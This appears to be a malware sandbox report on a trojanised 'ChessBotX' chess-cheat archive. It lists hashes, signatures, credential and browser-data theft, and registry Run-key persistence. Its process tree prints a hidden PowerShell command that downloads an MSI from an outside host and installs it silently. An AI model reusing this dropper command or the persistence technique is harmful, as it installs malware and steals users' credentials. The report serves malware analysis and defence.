Overview
overview
10Static
static
5ChessBotX(...e).rar
windows10-2004-x64
1ChessBotX(...e).rar
windows11-21h2-x64
1ChessBotX.exe
windows10-2004-x64
10ChessBotX.exe
windows11-21h2-x64
10Installati...ns.txt
windows10-2004-x64
1Installati...ns.txt
windows11-21h2-x64
3License.txt
windows10-2004-x64
1License.txt
windows11-21h2-x64
3Readme.txt
windows10-2004-x64
1Readme.txt
windows11-21h2-x64
3Terms_Of_Use.txt
windows10-2004-x64
1Terms_Of_Use.txt
windows11-21h2-x64
3active_des...64.dll
windows10-2004-x64
8active_des...64.dll
windows11-21h2-x64
8lang/Language.txt
windows10-2004-x64
1lang/Language.txt
windows11-21h2-x64
3lang/chinese.dat
windows10-2004-x64
3lang/chinese.dat
windows11-21h2-x64
3lang/english.dat
windows10-2004-x64
3lang/english.dat
windows11-21h2-x64
3lang/german.dat
windows10-2004-x64
3lang/german.dat
windows11-21h2-x64
3lang/russian.dat
windows10-2004-x64
3lang/russian.dat
windows11-21h2-x64
3lang/spanish.dat
windows10-2004-x64
3lang/spanish.dat
windows11-21h2-x64
3Analysis
- max time kernel
149s - max time network
152s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
16/04/2026, 04:38
Behavioral task
behavioral1
Sample
ChessBotX(Mid_April_Update).rar
Resource
win10v2004-20260130-en
windows10-2004-x64
2 signatures
150 seconds
Behavioral task
behavioral2
Sample
ChessBotX(Mid_April_Update).rar
Resource
win11-20260130-en
windows11-21h2-x64
2 signatures
150 seconds
Behavioral task
behavioral3
Sample
ChessBotX.exe
Resource
win10v2004-20260130-en
windows10-2004-x64
20 signatures
150 seconds
Behavioral task
behavioral4
Sample
ChessBotX.exe
Resource
win11-20260130-en
windows11-21h2-x64
19 signatures
150 seconds
Behavioral task
behavioral5
Sample
Installation_Instructions.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral6
Sample
Installation_Instructions.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral7
Sample
License.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral8
Sample
License.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral9
Sample
Readme.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral10
Sample
Readme.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral11
Sample
Terms_Of_Use.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral12
Sample
Terms_Of_Use.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral13
Sample
active_desktop_render_x64.dll
Resource
win10v2004-20260130-en
windows10-2004-x64
10 signatures
150 seconds
Behavioral task
behavioral14
Sample
active_desktop_render_x64.dll
Resource
win11-20260130-en
windows11-21h2-x64
10 signatures
150 seconds
Behavioral task
behavioral15
Sample
lang/Language.txt
Resource
win10v2004-20260130-en
windows10-2004-x64
1 signatures
150 seconds
Behavioral task
behavioral16
Sample
lang/Language.txt
Resource
win11-20260130-en
windows11-21h2-x64
4 signatures
150 seconds
Behavioral task
behavioral17
Sample
lang/chinese.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral18
Sample
lang/chinese.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral19
Sample
lang/english.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral20
Sample
lang/english.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral21
Sample
lang/german.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral22
Sample
lang/german.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral23
Sample
lang/russian.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral24
Sample
lang/russian.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
Behavioral task
behavioral25
Sample
lang/spanish.dat
Resource
win10v2004-20260130-en
windows10-2004-x64
3 signatures
150 seconds
Behavioral task
behavioral26
Sample
lang/spanish.dat
Resource
win11-20260130-en
windows11-21h2-x64
3 signatures
150 seconds
General
- Target ChessBotX.exe
- Size 100KB
- Sample260416-e9ndeafv2r
- SHA256 f712c2a8b4abf2e299a2b480020333deb0f43364e9686cda78b1243c62e4830d
- MD5 1ea7d59053d8bd45bea95355b3d8d499
- SHA1 de0c8fba8d7ac8f547c88b6e5f7f5cd422ec2903
- SHA512 6e978f16c2f7a8d5918f4ebc8f71fc4b796487aa1e3dbc02faeac35a2d4ec0cb0d35408297778fbbe0d77a4247b9f4e9a7733252fef4f575d17b33374c07bc40
- SSDEEP 1536:9LT11uyRFNsa9N/urOKwjAEHxPNgE71x48suYjsW4dTRR6f7HxE7Qxa:xTzuyRFNN9N/wwjtHxvWuYsTRUf+5
- TLSH T1B5A37C9767E078F9E8638B34ACE14915E736F96706B0CB8E1394415A4F233C19E78B36
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://tihunting.com/Setup.msi
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 5924 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5924 powershell.exe - Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows\CurrentVersion\Run\Adobe = "rundll32.exe \"C:\\Users\\Admin\\AppData\\Roaming\\Adobe\\Adobe.dll\",start" ChessBotX.exe -
resource yara_rule behavioral4/memory/2052-0-0x00007FFD664B0000-0x00007FFD66955000-memory.dmp upx behavioral4/files/0x001a00000002b3c3-9.dat upx behavioral4/memory/2052-11-0x00007FFD664B0000-0x00007FFD66955000-memory.dmp upx behavioral4/memory/4180-12-0x00007FFD58240000-0x00007FFD586E5000-memory.dmp upx behavioral4/memory/4180-13-0x00007FFD58240000-0x00007FFD586E5000-memory.dmp upx behavioral4/memory/4180-226-0x00007FFD58240000-0x00007FFD586E5000-memory.dmp upx - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Executes dropped EXE 1 IoCs
pid Process 4180 ChessBotX.exe - Loads dropped DLL 2 IoCs
pid Process 4180 ChessBotX.exe 5076 rundll32.exe - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks SCSI registry key(s) 3 TTPs 12 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName ChessBotX.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName ChessBotX.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID ChessBotX.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName ChessBotX.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 ChessBotX.exe - Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier ChessBotX.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ChessBotX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ChessBotX.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 ChessBotX.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString ChessBotX.exe - Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 5076 rundll32.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 2052 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe - Suspicious use of AdjustPrivilegeToken 33 IoCs
description pid Process Token: SeDebugPrivilege 5924 powershell.exe Token: SeShutdownPrivilege 5332 msiexec.exe Token: SeIncreaseQuotaPrivilege 5332 msiexec.exe Token: SeSecurityPrivilege 2360 msiexec.exe Token: SeCreateTokenPrivilege 5332 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 5332 msiexec.exe Token: SeLockMemoryPrivilege 5332 msiexec.exe Token: SeIncreaseQuotaPrivilege 5332 msiexec.exe Token: SeMachineAccountPrivilege 5332 msiexec.exe Token: SeTcbPrivilege 5332 msiexec.exe Token: SeSecurityPrivilege 5332 msiexec.exe Token: SeTakeOwnershipPrivilege 5332 msiexec.exe Token: SeLoadDriverPrivilege 5332 msiexec.exe Token: SeSystemProfilePrivilege 5332 msiexec.exe Token: SeSystemtimePrivilege 5332 msiexec.exe Token: SeProfSingleProcessPrivilege 5332 msiexec.exe Token: SeIncBasePriorityPrivilege 5332 msiexec.exe Token: SeCreatePagefilePrivilege 5332 msiexec.exe Token: SeCreatePermanentPrivilege 5332 msiexec.exe Token: SeBackupPrivilege 5332 msiexec.exe Token: SeRestorePrivilege 5332 msiexec.exe Token: SeShutdownPrivilege 5332 msiexec.exe Token: SeDebugPrivilege 5332 msiexec.exe Token: SeAuditPrivilege 5332 msiexec.exe Token: SeSystemEnvironmentPrivilege 5332 msiexec.exe Token: SeChangeNotifyPrivilege 5332 msiexec.exe Token: SeRemoteShutdownPrivilege 5332 msiexec.exe Token: SeUndockPrivilege 5332 msiexec.exe Token: SeSyncAgentPrivilege 5332 msiexec.exe Token: SeEnableDelegationPrivilege 5332 msiexec.exe Token: SeManageVolumePrivilege 5332 msiexec.exe Token: SeImpersonatePrivilege 5332 msiexec.exe Token: SeCreateGlobalPrivilege 5332 msiexec.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe 4180 ChessBotX.exe - Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 2052 wrote to memory of 4180 2052 ChessBotX.exe 79 PID 4180 wrote to memory of 5076 4180 ChessBotX.exe 80 PID 4180 wrote to memory of 5300 4180 ChessBotX.exe 81 PID 4180 wrote to memory of 5300 4180 ChessBotX.exe 81 PID 4180 wrote to memory of 5892 4180 ChessBotX.exe 85 PID 4180 wrote to memory of 5892 4180 ChessBotX.exe 85 PID 4180 wrote to memory of 5924 4180 ChessBotX.exe 88 PID 5924 wrote to memory of 5332 5924 powershell.exe 90
Processes
-
C:\Users\Admin\AppData\Local\Temp\ChessBotX.exe"C:\Users\Admin\AppData\Local\Temp\ChessBotX.exe"1⤵
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2052 -
C:\ProgramData\LavenderOrchid\ChessBotX.exe"C:\ProgramData\LavenderOrchid\ChessBotX.exe"2⤵
- Adds Run key to start application
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4180 -
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" "C:\Users\Admin\AppData\Roaming\Adobe\Adobe.dll",start3⤵
- Loads dropped DLL
- Suspicious behavior: AddClipboardFormatListener
PID:5076
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"3⤵PID:5300
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"3⤵PID:5892
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "$f = \"$env:TEMP\Setup.msi\"; (New-Object System.Net.WebClient).Headers.Add('User-Agent', 'Mozilla/5.0'); (New-Object System.Net.WebClient).DownloadFile('https://tihunting.com/Setup.msi', $f); Start-Process msiexec.exe -Wait -ArgumentList \"/i `\"$f`\" /quiet /norestart\""3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5924 -
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\Setup.msi" /quiet /norestart4⤵
- Suspicious use of AdjustPrivilegeToken
PID:5332
-
-
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:2624
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:492
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵PID:4044
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"1⤵PID:2540
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2360
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
2Credentials from Web Browsers
1Windows Credential Manager
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\LavenderOrchid\ChessBotX.exe
- Size 100KB
- SHA256 f712c2a8b4abf2e299a2b480020333deb0f43364e9686cda78b1243c62e4830d
- MD5 1ea7d59053d8bd45bea95355b3d8d499
- SHA1 de0c8fba8d7ac8f547c88b6e5f7f5cd422ec2903
- SHA512 6e978f16c2f7a8d5918f4ebc8f71fc4b796487aa1e3dbc02faeac35a2d4ec0cb0d35408297778fbbe0d77a4247b9f4e9a7733252fef4f575d17b33374c07bc40
- SSDEEP 1536:9LT11uyRFNsa9N/urOKwjAEHxPNgE71x48suYjsW4dTRR6f7HxE7Qxa:xTzuyRFNN9N/wwjtHxvWuYsTRUf+5
- TLSH T1B5A37C9767E078F9E8638B34ACE14915E736F96706B0CB8E1394415A4F233C19E78B36
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\LavenderOrchid\active_desktop_render_x64.dll
- Size 7.9MB
- SHA256 cc6920f5e93bf9faeb2ef179d8bd7bd074149211f5f038167bea1e5303a7a9e5
- MD5 dc4620ced97044d5c7d1098bf1ddc9e1
- SHA1 8e2edb1e1b2e4945c827638a42a8b6be12f0fb63
- SHA512 ea578d743a07ea37a5b79dcde15d9736b6726f487add52100bbd01d399e76ccfe4d7e4d0eda7803ee2bf3ffd836b9810cff81e8d1509c5ceeea70c02ec9cce71
- SSDEEP 98304:mV+froMl4BJrRpELtOzYIsGA37WpYw13TDIanf/tg:m8Vl4zHFsBCyaf/t
- TLSH T1C08633269BDDA4D3D3C7597841348A01B38A7053163FAD32B44C69624AFE18B36EDF27
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 4KB
- SHA256 9a5b5a00b20a03fd2be71402b364a3e6cd48b7c892c1450390307f71d49ee70d
- MD5 aa1df49c7c4e7dd4012f4d5fccbcb51a
- SHA1 c3b9b81b2723a3552b726f1add172d5e4a8b9360
- SHA512 8e4f143417ed29b086f90388c8ca80291bf49d69dc56cda3d60a5886d40632af4680dada68694feadb459df19b3ee0704cae5d73b1510795131cc22e2342005e
- SSDEEP 96:i/ydB5/q/6G/eG/t/YImemgdmpGmqmWcrfJyRdfEyfzf+ExUHLdkdFWSd2dDf1o+:Fv5T42Bqw
- TLSH T10591E14299D5CA4E3690F8E39371E16C89F48C443F9837319B69C88C789684EF9C72DB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 255B
- SHA256 57ca306f7ea0f51e5de5082a52b6913dee01a751c6fcb8e18eadccd7a3674745
- MD5 a7f1aa3d43ab57dc30f29a381ec74fce
- SHA1 fb903e7c97195d4175faa34bf29e132aa91fb078
- SHA512 09921b38d51fc386b6b7f9d1f88e190e7ad62d78a2a15528c15f98b23d776037444e2bc2a2d76945a8fb0055f0d66f92c0b0084df799b8c94db8c7440624ac47
- TLSH T121D09712EC82C08C2422E8B78301256CDCFB4018AB5903037B95904E14C0B0C9CCB3E6
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 382B
- SHA256 92c7cd4e356f1836b8dacf9d5c4ab0fc0528989a5b66e7374e883a5c2242d5e6
- MD5 ffd52e9595aef092d3272faaafb1b335
- SHA1 2ddb54f5dab6803160351eedb3a4ad43bf50dfc8
- SHA512 82eff7cf95b167e5cea2eebc386959476af72db1c32f768ffce199fa549b39cac90575087db1ae72b058c1395b6d368fa286d10c158cf73b99621e9d5efad6cd
- TLSH T13FE06847DC46944D6611FCE793E32294DCEE80085F650383AA94D0CD348875CB8CA3A7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 1018B
- SHA256 5968a147b444039fcad5b44c994c360362ed29763d00e60000f34ab49060aa85
- MD5 c017b93c3206cbc58f20ddfa5dfd2c8e
- SHA1 d1ee2fffc87e892eca8ea5b10638557c6562e78d
- SHA512 cede4645c8f91f15b96c9bf468a89f13c66a1b32f9869a7682824956a6265e8198359e547662265ab9b0b86db87fe27e5f57d088919fedc58a5107653388f407
- TLSH T151117B02FCC5D92E1040ECE39361B66C9CE484049BCE2B429B84E94C75C582EF5CE367
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 1KB
- SHA256 1d5d541fdde862a8494109bb76aac38f98841b01bda78232c6692339da948ea3
- MD5 60aec2c7844ab5756c9524549d54ea3a
- SHA1 6b915f4bda71b30d66fa306292b3d2de640e108b
- SHA512 8c72ffcd2e61bcb09e871942691eb098f677116620732210036712f99d32ecce9fa7dba38c7484fc3d0f7024133138e4f80a69ac2d199dcd838d6d299f28e711
- TLSH T1C511AD02FCC5D81E1140ECE39351B62C9CF484089BCE2B429784E94C75C581EF6CE367
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 1KB
- SHA256 86c2651d8d37b2b965f1d98aa34ef41379072d73fa96f7e03e12db487c61cda4
- MD5 01b1cff443cb7baf676c9ed2fe7c29d1
- SHA1 46b0d4892e68852467af9be40ade28b9a4e91cd2
- SHA512 819024531a5c55b1e47b37ece81f66c11546c0f3a49017465540df643e774414203292d5e50d0f9a56f32d63dfa509a967dc84846b5308892f50fd043bf19279
- TLSH T1B2317C02F8C6D82E6100FCD79354B66C98E49449ABCE3B425B84DC4CB98695EF6CF357
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\Log.txt
- Size 1KB
- SHA256 5a26d8ff47ce4e4bb9389f1e92ad254c5f847e9f8927e2407aae53e5214d316d
- MD5 ccc0be301653ce90211edaff0753f454
- SHA1 16ff9e5bba23f8739b98eec0f0459fee5d160239
- SHA512 68b7f2a6edb3120e04757987d7fff6b32321ee84ebc4137364febc079092294db5c4a50a73fa5a912b8cd6e1afa709d6fce1975d287dc5ed7dddb55549f0b629
- TLSH T1F7419B02F8C6D82E1100BCD79355B62C98F494599BCE3B025B84D84CB9C695EF6DF3A7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fsjkn04r.03l.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\pwd_1080.db
- Size 56KB
- SHA256 f6dd954d4ffd30161e6ef3c3242d3576a739366f9b73f396e45583af8829d178
- MD5 fe8c5fb9ed4218996d10e03d7f45f1ec
- SHA1 e394d2de480259243fde14f8ecbf7682f7c845e5
- SHA512 66f8bc3f3f092a9395f079ff000acf492ca96d51790c1265ac2e555a771fe2705b20e12a964884f27d333649c6a003a2a473dae74107b51730c0cf2d737dd46e
- SSDEEP 96:dpfmG38t8KLPeymO7CGr8M5bn8MouB6w9fUPetSEPfNy:dpD07CGr8MV7Iw9f1N
- TLSH T1DA43771F1B682802CC698632ACB194F36F7CA13F8F539E922CB444359D75862B12D5FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\pwd_4564.db
- Size 40KB
- SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
- MD5 ba979c77c714b67908bc582ec373c723
- SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
- SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
- SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
- TLSH T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Roaming\Adobe\Adobe.dll
- Size 1.3MB
- SHA256 66ad3c60614f2f3fbcae600644a9bcec87bb93b611baf251dd619acb7f2332d3
- MD5 48b2bd91ec3c4317c7cd8d9ff62fe251
- SHA1 57b2546cfc5c19ef52f5feb7befd57184ea59c2e
